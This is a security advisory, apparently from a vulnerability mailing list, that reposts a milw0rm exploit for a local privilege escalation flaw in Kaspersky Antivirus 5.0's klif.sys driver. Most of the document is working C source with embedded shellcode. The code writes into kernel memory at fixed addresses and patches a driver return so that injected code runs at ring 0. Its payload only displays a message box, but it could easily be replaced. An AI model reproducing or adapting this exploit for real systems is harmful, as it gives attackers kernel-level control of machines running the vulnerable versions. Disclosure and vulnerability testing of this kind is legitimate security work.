[EXPL] KAV Local Privilege Escalation Vulnerability (klif.sys)

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KAV Local Privilege Escalation Vulnerability (klif.sys)
------------------------------------------------------------------------

SUMMARY

<http://www.kaspersky.com/> Kaspersky Antivirus(KAV) is "a popular
Antivirus software bundle". A vulnerability in the Kaspersky product
allows local attackers to use the program's handling of messages to cause
it to execute programs at ring-0 privileges level. The following exploit
code can be used to determine whether your version of the product is
vulnerable or not.

DETAILS

Vulnerable Systems:
* Kasperksy Antivirus version 5.0.227
* Kasperksy Antivirus version 5.0.228
* Kasperksy Antivirus version 5.0.335

Exploit:
/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
#define NO_STRICT 1
#include <windows.h>

#undef STRICT

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;

unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
0xFF,0xD0, //call eax
0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>-
0xBE938200
0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
0xFF,0xD0, //call eax
0x85,0xC0, //test eax,eax
0x74,0x03, //je +03
0xC2,0x04,0x00, //retn 4
0x6A,0x00, //push 0
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>-
0xBE938400
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>-
0xBE938400
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
0xFF,0xD0, //call eax
0xC2,0x04,0x00 //retn 4
};

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){

//Get function's addresses

HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");

FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
*(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

PCHAR pNotepadName=(PCHAR)0xBE938200;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

lstrcpy(pNotepadName,temp_buffer);

PCHAR pMessage=(PCHAR)0xBE938400;

lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

memmove(pCodeBase,code,sizeof(code));

*pJmpAddress=(DWORD)pCodeBase;

memmove(pKAVRet,jmp_code,sizeof(jmp_code));

return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

UCHAR retn_4[]={0xC2,0x04,0x00};

memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

UCHAR retn_4[]={0xC2,0x04,0x00};

__try{

for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
return pKAVRets[i];

}

}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not
installed",NULL,0);return NULL;}

MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335
versions of KAV",NULL,0);
return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

pKAVRet=GetKAVRetAddress();

if(NULL==pKAVRet)
return;

if(!LoadExploitIntoKernelMemory())
return;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

PROCESS_INFORMATION pi;

STARTUPINFO si={0};
si.cb=sizeof(si);

CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);

UnloadExploitFromKernelMemory();
}

ADDITIONAL INFORMATION

The original article can be found at:
<http://www.milw0rm.com/id.php?id=1032>
http://www.milw0rm.com/id.php?id=1032

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